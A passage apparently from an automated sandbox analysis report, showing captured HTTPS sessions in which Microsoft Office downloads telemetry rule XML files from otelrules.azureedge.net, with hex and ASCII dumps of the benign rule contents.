32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-17 00:38:13 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-17 00:38:13 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-17 00:38:13 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-17 00:38:14 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-17 00:38:14 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-17 00:38:14 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:15 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:15 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003815Z-16547b76f7f5b5tthC1DFWuk84000000024g00000000dkw2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:15 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:15 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:15 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003815Z-16547b76f7fqqjnnhC1DFWxv7400000001y0000000002m0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:15 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:15 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:15 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003815Z-16547b76f7fm8pcwhC1DFWaxcc00000001hg00000000mu83 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:15 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:15 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:15 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003815Z-16547b76f7fr5rfnhC1DFW0am4000000010g00000000bpmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 00:38:15 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:15 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:15 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003815Z-16547b76f7f5b5tthC1DFWuk8400000002600000000097sh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:15 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:16 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c0944ef9-c01e-007a-107c-37b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003816Z-164f84587bf7k72dhC1DFWvczs00000003gg00000000d2u1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:16 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003816Z-16547b76f7fjx5nrhC1DFW4dsc00000000p000000000k41b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:16 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003816Z-16547b76f7fl5zvnhC1DFWtk9g000000020g000000007u38 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:16 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:16 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
